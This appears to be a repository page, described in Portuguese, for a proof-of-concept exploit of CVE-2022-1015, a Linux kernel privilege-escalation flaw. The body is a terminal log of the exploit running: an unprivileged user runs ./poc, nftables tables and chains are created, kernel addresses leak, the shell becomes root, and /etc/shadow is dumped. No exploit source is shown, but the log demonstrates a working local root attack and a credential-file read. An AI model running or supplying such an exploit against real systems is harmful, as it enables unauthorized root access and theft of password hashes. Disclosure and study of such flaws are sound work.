delsploit/cve-2022-1015Exploit de prova de conceito para CVE-2022-1015, uma vulnerabilidade de escalação de privilégios no kernel Linux. Demonstra escape de sandbox baseado em unshare e escrita arbitrária na memória do kernel para obter acesso root.
# id
uid=1000(d) gid=1000(d) groups=1000(d)
# ./poc
[+] unshare done
[*] table created: leak_table
[*] chain created: leak_chain
[*] rule added
[*] Listening on port 9999
[*] table created: leak_table
[*] chain created: leak_chain
[*] rule added
[*] Listening on port 9999
kernel_address: ffffffffb4a00000
kernel_stack: ffffc0bb0037fdf0
[*] Saved userland registers
[#] cs: 0x33
[#] ss: 0x2b
[#] rsp: 0x7ffcef818110
[#] rflags: 0x246
[*] table created: write_table
[*] chain created: write_chain
[*] rule added
uid=0(root) gid=0(root)
# id
uid=0(root) gid=0(root)
# cat /etc/shadow
root::::::::
daemon:*:::::::
bin:*:::::::
sys:*:::::::
sync:*:::::::
mail:*:::::::
www-data:*:::::::
operator:*:::::::
nobody:*:::::::
sshd:*:::::::